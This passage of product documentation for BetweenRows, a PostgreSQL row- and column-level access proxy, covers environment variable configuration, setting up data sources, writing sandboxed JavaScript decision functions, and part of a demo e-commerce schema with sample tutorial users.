| `BR_ADMIN_USER` | `admin` | Username for the initial admin account. Only used on first boot — ignored on subsequent boots. The username cannot be changed after creation; pick the name you want before the first run. You can always create additional admin accounts later via the UI or CLI. |

## Secrets and signing

| Variable | Default | Description |
|---|---|---|
| `BR_ENCRYPTION_KEY` | auto-persisted | **64-char hex string.** AES-256-GCM key used to encrypt sensitive admin data at rest (data source passwords, decision function JS source). If unset, auto-generated on first boot and persisted to `/data/.betweenrows/encryption_key`. **Set explicitly in production.** If you rotate this value, existing encrypted data becomes unreadable — migrate carefully. |
| `BR_ADMIN_JWT_SECRET` | auto-persisted | HMAC-SHA256 signing secret for admin JWTs. Any non-empty string. Auto-generated and persisted to `/data/.betweenrows/jwt_secret` if unset. **Set explicitly in production.** Rotating this value invalidates all existing admin sessions — admins must re-authenticate. |
| `BR_ADMIN_JWT_EXPIRY_HOURS` | `24` | JWT lifetime in hours. After this duration, admins must re-authenticate. |

## Admin database

| Variable | Default | Description |
|---|---|---|
| `BR_ADMIN_DATABASE_URL` | `sqlite://proxy_admin.db?mode=rwc` | SeaORM connection URL for the admin database. SQLite is the supported and tested backend. The file lives under `/data` in the Docker image. |

## Network bindings

| Variable | Default (binary) | Default (Docker) | Description |
|---|---|---|---|
| `BR_PROXY_BIND_ADDR` | `127.0.0.1:5434` | `0.0.0.0:5434` | The address the SQL proxy listens on. Docker image defaults to `0.0.0.0` so the port is reachable from outside the container. |
| `BR_ADMIN_BIND_ADDR` | `127.0.0.1:5435` | `0.0.0.0:5435` | The address the admin REST API and UI listens on. Same Docker override. |

## Connection lifecycle

| Variable | Default | Description |
|---|---|---|
| `BR_IDLE_TIMEOUT_SECS` | `900` (15 min) | Close idle proxy connections after this many seconds with no activity. Prevents slow or abandoned clients from holding connections indefinitely. Set to `0` to disable (not recommended — risks connection exhaustion under load). |

## CORS

| Variable | Default | Description |
|---|---|---|
| `BR_CORS_ALLOWED_ORIGINS` | *(empty — same-origin only)* | Comma-separated list of allowed CORS origins for the admin REST API. Required if you host the admin UI on a different origin than the REST API. Example: `https://admin.example.com,https://staging-admin.example.com`. |

## Logging

| Variable | Default | Description |
|---|---|---|
| `RUST_LOG` | `info` | Standard Rust tracing filter. Examples: `debug`, `info,hyper=warn`, `proxy=debug,info`. Use `debug` when investigating an issue, `info` for normal operation. |

## Example: minimum production configuration

```sh
docker run -d \
  --name betweenrows \
  --restart unless-stopped \
  -e BR_ADMIN_PASSWORD="$(openssl rand -base64 24)" \
  -e BR_ENCRYPTION_KEY="$(openssl rand -hex 32)" \
  -e BR_ADMIN_JWT_SECRET="$(openssl rand -base64 32)" \
  -e BR_ADMIN_JWT_EXPIRY_HOURS=8 \
  -e BR_IDLE_TIMEOUT_SECS=600 \
  -e RUST_LOG=info \
  -p 5434:5434 -p 5435:5435 \
  -v /srv/betweenrows/data:/data \
  ghcr.io/getbetweenrows/betweenrows:0.16.2
```

::: tip
Save `BR_ENCRYPTION_KEY` and `BR_ADMIN_JWT_SECRET` in a secrets manager (Vault, AWS Secrets Manager, Fly secrets, Kubernetes secrets). Losing them means losing encrypted data source credentials and invalidating all admin sessions.
:::

## Related pages

* **[Install with Docker](/installation/docker)** — the typical deployment path
* **[Install on Fly.io](/installation/fly)** — for hosted deployments
* **[Backups](/operations/backups)** — what to snapshot
* **[Security Overview](/concepts/security-overview)** — the production checklist

---

---
url: /guides/data-sources.md
description: >-
  Add, configure, and manage PostgreSQL data sources — connection settings,
  catalog discovery, access modes, credentials, drift, and operational tips.
---

# Data Sources

A data source is BetweenRows' representation of an upstream PostgreSQL database. Before users can query through the proxy, you need to create a data source (connection details) and discover its catalog (which schemas, tables, and columns to expose).

## Purpose and when to use

Create a data source whenever you have a PostgreSQL database you want to protect with BetweenRows policies. Each data source is independent — you can connect multiple upstream databases to a single BetweenRows instance, each with its own catalog, policies, and user access grants.

## Field reference

| Field | Type | Required | Default | Notes |
|---|---|---|---|---|
| `name` | string | Yes | — | The identifier users put in their connection string as the database name: `psql postgresql://alice:secret@proxy:5434/<name>`. Max 64 characters, alphanumeric + `-_` only, must start with a letter. **Renaming is a breaking change** — see [Rename Safety](/operations/rename-safety). |
| `ds_type` | enum | Yes | — | `postgres` (the only option at launch). |
| `host` | string | Yes | — | Upstream PostgreSQL hostname or IP. |
| `port` | integer | Yes | 5432 | Upstream PostgreSQL port. |
| `database` | string | Yes | — | Database name on the upstream server. |
| `username` | string | Yes | — | PostgreSQL user the proxy connects as. Use a **read-only** user with the broadest read permissions you want the proxy to expose. |
| `password` | string | Yes | — | Encrypted at rest using `BR_ENCRYPTION_KEY` (AES-256-GCM). |
| `sslmode` | enum | Yes | `require` | `disable` — no SSL; `prefer` — try SSL, fall back to plaintext; `require` — SSL required, connection fails without it. Use `require` for anything outside localhost. |
| `access_mode` | enum | No | `policy_required` | `policy_required` (default deny, explicit grant — **the default**) or `open` (default allow, explicit deny). **Use `policy_required` for production** — see [Access modes](#access-modes) below. Editable on both create and update via the API; the admin UI currently only exposes this field on the edit form. |
| `is_active` | boolean | Edit only | `true` | Deactivate a data source without deleting it. Deactivated data sources reject all proxy connections — users see "data source not found." Policies and catalog are preserved. |

::: warning Upstream credentials scope
The credentials you enter are what the proxy uses for **every** query on this data source. If the upstream user can only see the `public` schema, BetweenRows can only discover and expose `public` — even admins in the UI cannot browse further.
:::

## Step-by-step: create a data source and discover the catalog

These steps use the [demo schema](/reference/demo-schema) as an example. Substitute your own database details.

1. **Log in to the admin UI** at `http://localhost:5435`.

2. **Go to Data Sources → Create.** Fill in the connection details:

   | Field | Demo value |
   |---|---|
   | Name | `demo_ecommerce` |
   | Host | `upstream` (or `127.0.0.1` if running outside Docker) |
   | Port | `5432` |
   | Database | `demo_ecommerce` |
   | Username | `postgres` |
   | Password | `postgres` |
   | SSL mode | `disable` (local dev only) |

   ![Data source connection form with demo PostgreSQL details](/screenshots/data-sources-connection-form-v0.15.png)

3. **Click Test Connection.** A green indicator confirms the proxy can reach the upstream. If it fails, check:

   * Host/port reachable from the BetweenRows container (not just your laptop)
   * Username/password correct for the upstream database
   * SSL mode matches the upstream's `pg_hba.conf` settings
   * Firewall/security group allows the connection

   ![Successful connection test indicator on the data source form](/screenshots/data-sources-test-success-v0.15.png)

4. **Save** the data source.

5. **Discover the catalog.** On the data source detail page, click **Discover Catalog**. A wizard walks through four steps:

   * **Schemas** — BetweenRows queries `information_schema.schemata`. Select the schemas to expose. Exclude `pg_catalog`, `information_schema`, and ops schemas.
   * **Tables** — for each selected schema, select which tables and views to expose.
   * **Columns** — for each selected table, select which columns to expose. Deselect columns here as a first-pass data-minimization step.
   * **Save** — persist the selections as the baseline catalog.

   ![Catalog discovery wizard showing schema selection step](/screenshots/data-sources-discover-schemas-v0.15.png)
   ![Catalog discovery wizard showing column selection step](/screenshots/data-sources-discover-columns-v0.15.png)

6. **Grant user access.** On the data source page, add users or roles in the **User Access** section. Admin status does **not** grant data access — every user starts with zero data plane access.

→ Full demo schema: [Demo Schema](/reference/demo-schema)

## Access modes

A data source's access mode determines what happens when **no policy matches** a table for a given user:

| Mode | Tables with no matching `column_allow` | Recommendation |
|---|---|---|
| **`policy_required`** | Hidden from schema metadata, return empty results. A `column_allow` policy is **required** to make a table queryable. Default deny, explicit grant. | Production, staging, anything with real data. |
| **`open`** | Visible to any user with data source access. `row_filter`, `column_mask`, and deny policies still apply on top. Default allow, explicit deny. | Local dev, early prototyping, throwaway demos. |

Both modes run the full policy engine — `open` does **not** disable policies. Deny policies (`column_deny`, `table_deny`) are enforced identically in both modes.

::: danger Switching from open to policy\_required
If you flip from `open` to `policy_required` without first creating `column_allow` policies, **all tables become invisible immediately**. Create the allow policies first, then switch the mode.
:::

→ Conceptual explanation: [Policy Model → Access modes](/concepts/policy-model#access-modes)

## Patterns and recipes

### Multiple data sources, one proxy

Create separate data sources for each upstream database. Users connect with different database names in their connection string:

```sh
psql postgresql://alice:secret@proxy:5434/production_db
psql postgresql://alice:secret@proxy:5434/analytics_db
```

Policies are assigned per data source — a row filter on `production_db` does not affect `analytics_db`.

### Read-only upstream user

Give the proxy a dedicated read-only PostgreSQL role:

```sql
CREATE ROLE betweenrows_reader LOGIN PASSWORD 'strong-password';
GRANT CONNECT ON DATABASE mydb TO betweenrows_reader;
GRANT USAGE ON SCHEMA public TO betweenrows_reader;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO betweenrows_reader;
ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO betweenrows_reader;
```

This limits the blast radius if BetweenRows credentials are compromised — the upstream user can only read, never write.

### Deactivating vs. deleting

* **Deactivate** (`is_active = false`): proxy rejects connections to this data source. Policies, catalog, and access grants are preserved. Reactivate anytime.
* **Delete**: permanently removes the data source and cascades to all associated catalog entries, policy assignments, and access grants. This is irreversible.

Use deactivation for maintenance windows; use deletion only when removing a data source permanently.

## Composition with other features

* **Catalog** defines the universe of what exists from the proxy's perspective. Policies narrow that universe per user.
* **`column_allow`** grants visibility to specific columns within the catalog (only matters in `policy_required` mode).
* **`column_deny` / `table_deny`** removes things from the catalog per user, regardless of access mode.
* **`column_mask`** transforms values at query time; the column must be in the catalog.
* **`row_filter`** restricts rows; the table must be in the catalog.

Think of the catalog as "what can potentially exist" and policies as "what each user actually sees."

## Limitations and catches

* **`table_deny` targets use the upstream schema name, not any alias.** If the upstream schema is `public` and you create a `table_deny` targeting a different name, it silently fails. Always use the schema name as shown in the catalog discovery.
* **Catalog re-discovery applies on the next connection.** Existing sessions keep seeing the old schema until they reconnect.
* **Catalog drift is intentional.** When the upstream adds a new table or column, it is **not** automatically exposed. You must run **Sync Catalog** and explicitly select the new items. This is deliberate data-minimization — schema changes upstream never widen the attack surface without an admin's action.
* **New items default to not-selected** during sync — you must opt them in.
* **Renaming a data source is a breaking change** for connection strings, stored SQL, BI tools, and decision functions that reference the name. Policies continue to work (they reference by ID, not name). See [Rename Safety](/operations/rename-safety).

→ Full list: [Known Limitations](/operations/known-limitations)

## Troubleshooting

* **Test Connection fails** — check host/port reachability from inside the BetweenRows container, upstream credentials, SSL mode, and firewall rules. See [Troubleshooting → Data source issues](/operations/troubleshooting).
* **No tables after discovery** — the upstream user may lack `SELECT` permission on `information_schema.tables` or the selected schema.
* **Users see empty results** — in `policy_required` mode, check that a `column_allow` policy exists and is assigned. In `open` mode, check for `table_deny` or `row_filter` policies that might filter everything.
* **Connection string rejected** — the database name in the connection string must match the data source `name` exactly (case-sensitive).

→ Full diagnostics: [Troubleshooting](/operations/troubleshooting) · [Audit & Debugging](/guides/audit-debugging)

## See also

* [Configuration](/reference/configuration) — `BR_ENCRYPTION_KEY` and other env vars
* [Policies overview](/guides/policies/) — which policy types to layer on top of the data source
* [Rename Safety](/operations/rename-safety) — what breaks when you rename

---

---
url: /guides/decision-functions.md
description: >-
  Write JavaScript decision functions to conditionally gate policy enforcement —
  context modes, error handling, and the test harness.
---

# Decision Functions

A decision function is a JavaScript function attached to a policy that gates whether the policy fires. When attached, the policy's effect (row filter, column mask, deny, etc.) only applies if the decision function returns `{ fire: true }`. This lets you build conditional policies — "deny access outside business hours", "mask salary only for non-HR users", "allow table access only for analysts querying fewer than 3 tables."

## Purpose and when to use

Use decision functions when the gating logic is too complex for a template expression — when you need access to roles, session time, query metadata, or multi-attribute business rules. For straightforward attribute-based filtering, [template expressions](/reference/template-expressions) are simpler and sufficient.

→ Comparison: [Glossary → Template expressions vs. decision functions](/reference/glossary#template-expressions-vs-decision-functions)

## Field reference

| Field | Type | Required | Default | Notes |
|---|---|---|---|---|
| `name` | string | Yes | — | Unique identifier. |
| `description` | string | No | — | Admin documentation. |
| `decision_fn` | string | Yes | — | JavaScript source code. Must define an `evaluate(ctx, config)` function. |
| `decision_config` | JSON | No | `{}` | Static configuration passed as the second argument to `evaluate()`. Use for thresholds, allowlists, or settings that change without rewriting JS. |
| `evaluate_context` | enum | Yes | — | `"session"` (evaluated at connect time) or `"query"` (evaluated per query). See [Context modes](#context-modes). |
| `on_error` | enum | Yes | `"deny"` | What happens if the JS throws: `"deny"` → policy fires (fail-safe), `"skip"` → policy is skipped (fail-open). |
| `log_level` | enum | No | `"off"` | `"off"`, `"error"`, or `"info"`. Controls whether `console.log` output is captured in proxy logs. |
| `is_enabled` | boolean | No | `true` | When disabled, the attached policy always fires (as if no decision function exists). |

## The JavaScript harness

Your code must define a function named `evaluate` that accepts two arguments and returns an object with a `fire` boolean:

```javascript
function evaluate(ctx, config) {
  // ctx — the context object (session + optional query metadata)
  // config — the static decision_config JSON from the function definition
  
  return { fire: true };  // policy fires
  // or
  return { fire: false }; // policy is skipped
}
```

The harness wraps your code in a strict-mode IIFE, validates the `evaluate` function exists, calls it, and validates the return shape. The result must be a plain object with a boolean `fire` property — anything else is treated as an error (dispatched to `on_error`).

### The context object (`ctx`)

The context has two sections. `ctx.session` is always present; `ctx.query` is only present when `evaluate_context = "query"`.

```json
{
  "session": {
    "user": {
      "id": "550e8400-e29b-41d4-a716-446655440000",
      "username": "alice",
      "roles": ["analyst", "viewer"],
      "tenant": "acme",
      "department": "engineering",
      "clearance": 3,
      "is_vip": true
    },
    "time": {
      "now": "2026-04-12T10:30:00Z",
      "hour": 10,
      "day_of_week": "Saturday"
    },
    "datasource": {
      "name": "demo_ecommerce",
      "access_mode": "policy_required"
    }
  },
  "query": {
    "tables": [
      { "datasource": "demo_ecommerce", "schema": "public", "table": "orders" },
      { "datasource": "demo_ecommerce", "schema": "public", "table": "customers" }
    ],
    "columns": ["order_id", "customer_name", "total"],
    "join_count": 1,
    "has_aggregation": false,
    "has_subquery": false,
    "has_where": true,
    "statement_type": "SELECT"
  }
}
```

**`ctx.session.user`** — built from three hardcoded fields plus every custom attribute the user has (or has a default for):

* `ctx.session.user.id` — UUID string
* `ctx.session.user.username` — string
* `ctx.session.user.roles` — `string[]` of active role names the user belongs to (direct + inherited)
* `ctx.session.user.<attribute_key>` — typed value (string / number / boolean / array) for every user-entity attribute definition. Missing attributes resolve to the definition's `default_value`, or `null` if the default is NULL. Custom attributes with the same key as a built-in lose — the built-in always wins.

Other `proxy_user` columns (`is_admin`, `is_active`, timestamps, `password_hash`) are intentionally **not** exposed. The admin-plane `is_admin` flag is unrelated to data-plane policy logic — use role membership (`ctx.session.user.roles.includes(...)`) for "privileged user bypass" patterns.

**`ctx.session.time.now`** — the evaluation timestamp (RFC 3339), not the session start time. `hour` is 0–23, `day_of_week` is the full English name.

**`ctx.query`** — only present when `evaluate_context = "query"`. Contains metadata extracted from the logical plan after DataFusion parses the query.

## Context modes

### `evaluate_context = "session"`

Evaluated **once at connect time**. Affects both schema visibility and query enforcement. Use for decisions that don't change within a session — user identity, time-of-day access, role-based gating.

* **Pros:** evaluated once per connection (cheap), affects what the user sees in `information_schema`
* **Cons:** no access to `ctx.query` (no per-query decisions), cached for the session duration

### `evaluate_context = "query"`

Evaluated **on every query**. Affects query enforcement only — schema visibility is not changed (columns/tables remain visible in `information_schema` even if the decision function will deny them at query time).

* **Pros:** access to `ctx.query` (tables, columns, joins, aggregation), per-query granularity
* **Cons:** evaluated on every query (~1ms overhead), does not affect schema metadata visibility

### Which to choose

| Use case | Context mode |
|---|---|
| Business hours access control | `session` |
| Role-based policy gating (analysts only) | `session` |
| "Deny if query touches more than N tables" | `query` |
| "Deny if query uses aggregation on sensitive table" | `query` |
| "Allow only specific query patterns" | `query` |

## Step-by-step tutorial

### Example: business hours access control

Goal: a `table_deny` policy on `salary_data` that only fires outside business hours (Mon–Fri 9–17 UTC).

1. **Create the decision function:**

   * **Name:** `business-hours-only`
   * **Evaluate context:** `session`
   * **On error:** `deny` (fail-safe — if JS breaks, deny access)
   * **Config:** `{ "start_hour": 9, "end_hour": 17 }`
   * **JS source:**

   ```javascript
   function evaluate(ctx, config) {
     const hour = ctx.session.time.hour;
     const day = ctx.session.time.day_of_week;
     const weekdays = ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday"];
     
     const isBusinessHours = weekdays.includes(day) 
       && hour >= config.start_hour 
       && hour < config.end_hour;
     
     // fire = true → policy fires → table is denied
     // So we fire when it's NOT business hours (deny outside hours)
     return { fire: !isBusinessHours };
   }
   ```

   ![Decision function editor with business hours JavaScript source](/screenshots/decision-functions-editor-v0.15.png)

2. **Test the function** using the built-in test runner (`POST /decision-functions/test`). Provide a mock context with different hours/days and verify the `fire` result matches expectations.

   ![Decision function test runner with mock session context](/screenshots/decision-functions-test-runner-v0.15.png)

3. **Create the policy** — a `table_deny` on `salary_data` — and attach the decision function via `decision_function_id`.

4. **Verify:** connect during business hours → table is accessible. Connect outside → "table not found."

## Patterns and recipes

### Role-based gating

```javascript
function evaluate(ctx, config) {
  return { fire: !ctx.session.user.roles.includes("admin") };
}
```

Attach to a `column_mask` — admins see raw values, everyone else gets the mask.

### Query complexity limit

```javascript
function evaluate(ctx, config) {
  return { fire: ctx.query.join_count > config.max_joins };
}
```

Attach to a `table_deny` with `evaluate_context = "query"` and `config: { "max_joins": 3 }`. Denies access when the query is too complex.

### Datasource-aware gating

```javascript
function evaluate(ctx, config) {
  return { fire: ctx.session.datasource.access_mode === "open" };
}
```

Only fire the policy on `open`-mode data sources.

## Testing and debugging

### The test runner

The admin UI includes a built-in test runner for decision functions. You can also use the API directly:

```
POST /api/v1/decision-functions/test
```

```json
{
  "decision_fn": "function evaluate(ctx, config) { return { fire: ctx.session.user.roles.includes('admin') }; }",
  "decision_config": {},
  "evaluate_context": "session",
  "test_context": {
    "session": {
      "user": {
        "id": "550e8400-e29b-41d4-a716-446655440000",
        "username": "alice",
        "roles": ["analyst"],
        "tenant": "acme"
      },
      "time": { "now": "2026-04-12T10:00:00Z", "hour": 10, "day_of_week": "Saturday" },
      "datasource": { "name": "demo_ecommerce", "access_mode": "policy_required" }
    }
  }
}
```

The response tells you:

* **`success`** — did the function execute without error?
* **`result.fire`** — would the policy fire?
* **`result.fuel_consumed`** — how many WASM instructions were used (out of 1M limit)?
* **`result.time_us`** — execution time in microseconds
* **`result.logs`** — any `console.log` output captured
* **`error`** — error message if the function failed

Test with different mock contexts to cover your edge cases: different users, different times, different roles, missing attributes. The test runner compiles and executes the JS in the same WASM sandbox used in production — it's not a simulation.

![Decision function test runner result showing fire value and logs](/screenshots/decision-functions-test-runner-v0.15.png)

### Logging with `log_level`

| Level | Behavior |
|---|---|
| `"off"` | No log capture. `console.log` output is discarded. Best for production performance. |
| `"error"` | Captures error output (exceptions, stack traces). Use during initial development. |
| `"info"` | Captures all `console.log` output. Use for debugging logic issues — add `console.log(ctx.session.user)` to inspect what the function receives. |

Log output appears in the proxy's structured logs (visible via `docker logs` or your log aggregator) and in the test runner response's `result.logs` array.

::: tip
Start with `log_level: "info"` while developing, then switch to `"off"` for production. The overhead is minimal, but unnecessary log volume adds up at scale.
:::

### Debugging checklist

When a decision function isn't behaving as expected:

1. **Test with the test runner** — does the function return the expected `fire` value for a mock context matching the real user?
2. **Check `on_error`** — if `"deny"`, a JS exception silently causes the policy to fire. The test runner will show the error.
3. **Check `is_enabled`** — a disabled function means the policy always fires.
4. **Check `evaluate_context`** — `"session"` is evaluated once at connect time (cached for the session). If you changed user attributes, the user needs to reconnect.
5. **Check the audit log** — `policies_applied` in the query audit shows whether the decision function fired, skipped, or errored for each query.
6. **Add `console.log`** — set `log_level: "info"` and add `console.log(JSON.stringify(ctx.session.user))` to see exactly what the function receives.

## Composition

* **Any policy type can have a decision function.** Row filters, column masks, column allow, column deny, and table deny all support `decision_function_id`.
* **Decision function disabled → policy always fires.** Setting `is_enabled = false` on the decision function is equivalent to removing it — the policy applies unconditionally.
* **`decision_wasm` is NULL → policy always fires.** If the JS hasn't been compiled yet (rare edge case during migration), the policy fires as a safe default.

## How it works

Decision functions run inside a **WebAssembly (WASM) sandbox** powered by [wasmtime](https://wasmtime.dev/). This provides strong isolation guarantees:

* **No filesystem access.** Your JS cannot read or write files on the proxy host.
* **No network access.** No `fetch()`, no sockets, no DNS. Decision functions are pure compute.
* **No host function calls.** The sandbox exposes only stdin/stdout for passing the context in and the result out.
* **Fuel-limited execution.** Each invocation gets a budget of 1,000,000 WASM instructions. If your code exceeds this (e.g., an infinite loop), execution is killed and the `on_error` handler fires. The fuel limit is not currently configurable per function — it's a system-wide safety bound.

### What you can use in JavaScript

Decision functions run on [QuickJS](https://bellard.org/quickjs/) (a lightweight ES2020 engine), not V8 or Node.js. This means:

**Available:**

* Core JavaScript (ES2020): `let`/`const`, arrow functions, destructuring, template literals, `for...of`, spread/rest, optional chaining (`?.`), nullish coalescing (`??`)
* `JSON.parse()` / `JSON.stringify()`
* `Math.*`, `String.prototype.*`, `Array.prototype.*`, `Object.*`, `RegExp`
* `console.log()` (output captured in proxy logs when `log_level` is `"info"` or `"error"`)

**Not available:**

* `fetch()`, `XMLHttpRequest`, or any network API
* `setTimeout` / `setInterval` (synchronous execution only)
* `require()` / `import` (single-file functions, no modules, no npm packages)
* `async` / `await` / `Promise` (synchronous only)
* Node.js APIs (`fs`, `path`, `crypto`, `Buffer`, etc.)
* Web APIs (`TextEncoder`, `crypto.subtle`, `URL`, etc.)
* `Date()` constructor works but uses UTC; prefer `ctx.session.time.*` for consistency

### Sandbox and isolation

Decision functions run inside a [wasmtime](https://wasmtime.dev/) WASM sandbox with capability-based isolation (no filesystem, no network, no host memory, no globals, no cross-invocation state). Fuel limits kill runaway code; errors are handled via `on_error`. See [Threat Model](/concepts/threat-model) for the specific attack vectors and their enforcement points.

### Compilation pipeline

Your JavaScript is compiled to WASM at save time, not at query time:

1. **Save** — the JS source is compiled via [Javy](https://github.com/bytecodealliance/javy) in dynamic mode. This produces a small bytecode module (1–16 KB) stored in the database alongside the source.
2. **Query time** — the bytecode module is instantiated (~1ms) and linked with a pre-compiled QuickJS engine plugin that was loaded once at proxy startup. No JIT compilation happens at query time.
3. **Result** — stdout JSON is parsed for `{ fire: boolean }`.

### What happens when a function has a bug

Decision functions are designed to fail safely. Every failure mode has a defined behavior:

| Failure | What happens | Controlled by |
|---|---|---|
| **JS throws an unhandled exception** | `on_error` fires: `"deny"` → policy applies (fail-safe), `"skip"` → policy skipped (fail-open) | `on_error` field |
| **Infinite loop / excessive computation** | Fuel exhausted → execution killed → `on_error` fires | Fuel limit (1M instructions) |
| **Invalid return value** (not `{ fire: boolean }`) | Treated as an error → `on_error` fires | `on_error` field |
| **WASM compilation fails** (corrupt bytecode) | Treated as an error → `on_error` fires | `on_error` field |
| **Decision function is disabled** | Policy fires unconditionally (as if no function attached) | `is_enabled` field |

The proxy **never crashes** from a decision function bug. Errors are logged and the query continues with the `on_error` result. The user sees normal query results (or a denial) — never a proxy error.

::: tip Why `on_error = "deny"` is the recommended default
If you're gating a security-relevant policy (deny, mask, filter), you want bugs to fail-safe: when in doubt, apply the policy. Use `"skip"` only for non-security-relevant policies where availability matters more than enforcement (e.g., optional analytics filtering).
:::

### Why WASM is safe

WASM provides **capability-based isolation** — the sandbox starts with zero capabilities and only gets what the host explicitly provides. BetweenRows provides nothing beyond stdin/stdout for passing context in and results out:

* A malicious or buggy function cannot exfiltrate data (no network access)
* It cannot read other users' contexts (each invocation gets only its own `ctx`)
* It cannot persist state between invocations (no globals survive across calls)
* It cannot affect other decision functions (each runs in its own instantiation)
* It cannot DoS the proxy (fuel limits kill runaway code)

This is fundamentally different from running user-supplied JS in a language-level sandbox — WASM isolation is enforced at the runtime level by wasmtime's compiler, providing hardware-grade boundaries that cannot be bypassed by clever JS.

### Future language support

The decision function entity has a `language` field (currently only `"javascript"` is supported). The WASM-based architecture means any language that compiles to WASM could be supported in the future — Rust, Go, Python (via wasm32 targets), or domain-specific languages. The `language` field is stored but only `"javascript"` is wired to a compiler today.

## Performance

Decision functions add latency to every evaluation:

| Context mode | When evaluated | Overhead per policy with a decision function |
|---|---|---|
| `session` | Once at connect time | ~1ms — paid once, amortized across all queries in the session |
| `query` | Every query | ~1ms per query per policy — adds up if many policies have query-context decision functions |

The ~1ms includes WASM module instantiation, JS execution, and result parsing. The QuickJS engine plugin is pre-compiled at startup and reused across all functions — only the per-function bytecode (~1–16 KB) is compiled per invocation.

::: tip
Prefer `evaluate_context = "session"` when possible — it's evaluated once per connection instead of once per query. Use `"query"` only when you need `ctx.query` metadata (tables, columns, aggregation).
:::

If a user has 5 policies and 3 have query-context decision functions, each query adds ~3ms of decision function overhead on top of the query execution time. For most workloads this is negligible, but it's worth monitoring for high-throughput data pipelines.

## Limitations and catches

* **Decision functions cannot make network calls or produce side effects.** They run in a WASM sandbox — pure compute only. No `fetch()`, no `XMLHttpRequest`, no file system access.
* **Runaway JS is killed automatically.** Each invocation has a fuel budget. Infinite loops exhaust the fuel and trigger the `on_error` handler (default: policy fires).
* **`on_error = "deny"` is the safe default.** If your JS throws an unhandled exception, the policy fires (fail-safe). Use `"skip"` only when the policy is non-security-relevant and you'd rather fail-open.
* **`console.log` output appears in proxy logs** (when `log_level` is `"info"` or `"error"`). Use it for debugging. Output does not affect the decision result.
* **Session-context decisions are cached for the connection.** If the user's attributes change mid-session, the decision is not re-evaluated until they reconnect. Query-context decisions are re-evaluated on every query.
* **Query-context does not affect visibility.** Even if the decision function would deny the query, columns and tables remain visible in `information_schema`. The denial happens at query time, not at the schema level.
* **Deleting a decision function requires detaching it from all policies first.** The API rejects deletion if any policy references it (returns 409).

→ Full list: [Known Limitations](/operations/known-limitations)

## Troubleshooting

* **"Decision function compilation failed"** — JS syntax error or unsupported construct. Check the error message and fix the source.
* **Policy fires when it shouldn't (or vice versa)** — use the test runner with a mock context to verify the logic. Check `on_error` — if `"deny"`, a silent JS error causes the policy to fire.
* **Decision function has no effect** — check: `is_enabled` on the function, `decision_function_id` set on the policy, `decision_wasm` is not null (check via API).

→ Full diagnostics: [Audit & Debugging](/guides/audit-debugging) · [Troubleshooting](/operations/troubleshooting)

## See also

* [Glossary → Template expressions vs. decision functions](/reference/glossary#template-expressions-vs-decision-functions) — when to use which
* [Policies overview](/guides/policies/) — which policy type to attach a decision function to
* [Template Expressions](/reference/template-expressions) — the simpler alternative for attribute-based logic

---

---
url: /reference/demo-schema.md
description: >-
  The canonical demo_ecommerce schema used in all guides — tables, columns,
  sample data, personas, and setup instructions.
---

# Demo Schema

All guide tutorials use the `demo_ecommerce` schema — a multi-tenant e-commerce database with three tenants, realistic sample data, and pre-configured policies. This page documents the full schema so you can reproduce every tutorial example.

## Setup

The demo stack lives at `scripts/demo_ecommerce/` in the repo root. See its [README](https://github.com/getbetweenrows/betweenrows/blob/main/scripts/demo_ecommerce/README.md) for the bring-up commands and env var overrides.

## Tenants

Three tenants, each with their own data in every table:

| Tenant | Description |
|---|---|
| `acme` | User: `alice` |
| `globex` | User: `bob` |
| `stark` | User: `charlie` |

## Users

| Username | Password | Tenant attribute | Role |
|---|---|---|---|
| `admin` | `changeme` | — | Admin (UI + API access only, no data plane) |
| `alice` | `Demo1234!` | `acme` | Data plane user |
| `bob` | `Demo1234!` | `globex` | Data plane user |
| `charlie` | `Demo1234!` | `stark` | Data plane user |

Connect through the proxy:

```sh
psql 'postgresql://alice:Demo1234!@127.0.0.1:5434/demo_ecommerce'
```

## Tables

### organizations

| Column | Type | Notes |
|---|---|---|
| `name` | TEXT (PK) | Tenant name: `acme`, `globex`, `stark` |
| `created_at` | TIMESTAMPTZ | |

### customers

| Column | Type | Notes |
|---|---|---|
| `id` | UUID (PK) | |
| `org` | TEXT (FK → organizations) | Tenant identifier — filtered by `tenant-isolation` policy |
| `first_name` | TEXT | |
| `last_name` | TEXT | |
| `email` | TEXT | |
| `phone` | TEXT | |
| `ssn` | TEXT | Masked by `mask-ssn-partial` policy |
| `credit_card` | TEXT | Denied by `hide-credit-card` policy |
| `created_at` | TIMESTAMPTZ | |

10 customers per tenant (30 total).

### products

| Column | Type | Notes |
|---|---|---|
| `id` | UUID (PK) | |
| `org` | TEXT (FK → organizations) | |
| `name` | TEXT | |
| `description` | TEXT | |
| `price` | NUMERIC(10,2) | Public price |
| `cost_price` | NUMERIC(10,2) | Denied by `hide-product-financials` policy |
| `margin` | NUMERIC(5,4) | Denied by `hide-product-financials` policy |
| `created_at` | TIMESTAMPTZ | |

20 products per tenant (60 total).

### orders

| Column | Type | Notes |
|---|---|---|
| `id` | UUID (PK) | |
| `org` | TEXT (FK → organizations) | |
| `customer_id` | UUID (FK → customers) | |
| `status` | TEXT | `pending`, `processing`, `shipped`, `delivered`, `cancelled` |
| `total_amount` | NUMERIC(10,2) | |
| `created_at` | TIMESTAMPTZ | |
| `updated_at` | TIMESTAMPTZ | |

\~34 orders per tenant (~102 total).

### order\_items

| Column | Type | Notes |
|---|---|---|
| `id` | UUID (PK) | |
| `order_id` | UUID (FK → orders) | No `org` column — see note below |
| `product_id` | UUID (FK → products) | |
| `quantity` | INTEGER | |
| `unit_price` | NUMERIC(10,2) | |
| `created_at` | TIMESTAMPTZ | |

### payments

| Column | Type | Notes |
|---|---|---|
| `id` | UUID (PK) | |
| `order_id` | UUID (FK → orders) | No `org` column — see note below |
| `amount` | NUMERIC(10,2) | |
| `payment_method` | TEXT | `credit_card`, `bank_transfer`, `paypal` |
| `status` | TEXT | |
| `processed_at` | TIMESTAMPTZ | |
| `created_at` | TIMESTAMPTZ | |

### support\_tickets

| Column | Type | Notes |
|---|---|---|
| `id` | UUID (PK) | |
| `org` | TEXT (FK → organizations) | |
| `customer_id` | UUID (FK → customers) | |
| `subject` | TEXT | |
| `status` | TEXT | `open`, `in_progress`, `resolved`, `closed` |
| `created_at` | TIMESTAMPTZ | |

\~50 tickets per tenant.

::: info Tables without an org column
